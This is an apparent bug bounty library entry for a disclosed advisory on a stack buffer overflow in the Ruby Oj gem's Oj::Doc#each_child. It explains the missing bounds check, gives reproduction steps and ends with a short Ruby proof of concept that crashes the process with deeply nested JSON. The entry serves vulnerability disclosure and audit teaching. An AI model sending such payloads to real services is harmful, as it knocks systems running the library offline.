# Oj: Stack Buffer Overflow in Oj::Doc#each_child via Deeply Nested Input

Oj::Doc#each_child lacks bounds checks on doc->where, so recursive iteration over deeply nested JSON overflows a stack buffer and aborts the process.

- Payout: Research
- Severity: high
- Program: Oj
- Found by: 7a6163
- Disclosed: 2026-06-19
- CVE: CVE-2026-54592
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3m6q-jj5j-38c9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3m6q-jj5j-38c9
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:ruby technique:source-review vuln:dos vuln:memory-corruption

**Target:** Ruby gem Oj::Doc JSON parser (ext/oj/fast.c)
**Root cause:** doc_each_child increments doc->where past where_path[MAX_STACK=100] without a bounds check and never restores it; the next entry computes wlen from the stale pointer and memcpy's more than MAX_STACK Leafs into the 800-byte stack-local save_path.
**Steps:**
1. Build payload of 200 nested arrays: `'[' * depth + '1' + ']' * depth`
2. Open with `Oj::Doc.open(payload) do |doc|`
3. Define `r = lambda { doc.each_child { |_| r.call } }` and call `r.call`
4. Depth <=99 iterates normally; depth >=101 aborts with SIGABRT via __stack_chk_fail in doc_each_child
**How found:** Code review of ext/oj/fast.c: noticed doc_each_child increments doc->where without bounds check and lacks the doc->where-- restore present in each_leaf, then traced the next-entry memcpy using wlen = doc->where - doc->where_path into a fixed MAX_STACK stack buffer.
**Exploitation:** Attacker supplies a small deeply nested JSON document to any endpoint that recursively calls each_child inside the yield block; recursion drives doc->where past where_path[100], and the next entry's memcpy overflows save_path, tripping the stack canary and aborting the process.
**Insight:** When auditing recursive C iterators, compare sibling functions (each_leaf vs each_child) for missing restore/bounds-check symmetry; a pointer field used as both cursor and length source is a classic overflow primitive.

## Proof of concept (copied exactly from the original report)

**Ruby PoC recursive each_child stack overflow**

```
require 'oj'
depth = 200
payload = '[' * depth + '1' + ']' * depth
Oj::Doc.open(payload) do |doc|
  r = lambda { doc.each_child { |_| r.call } }
  r.call
end
```

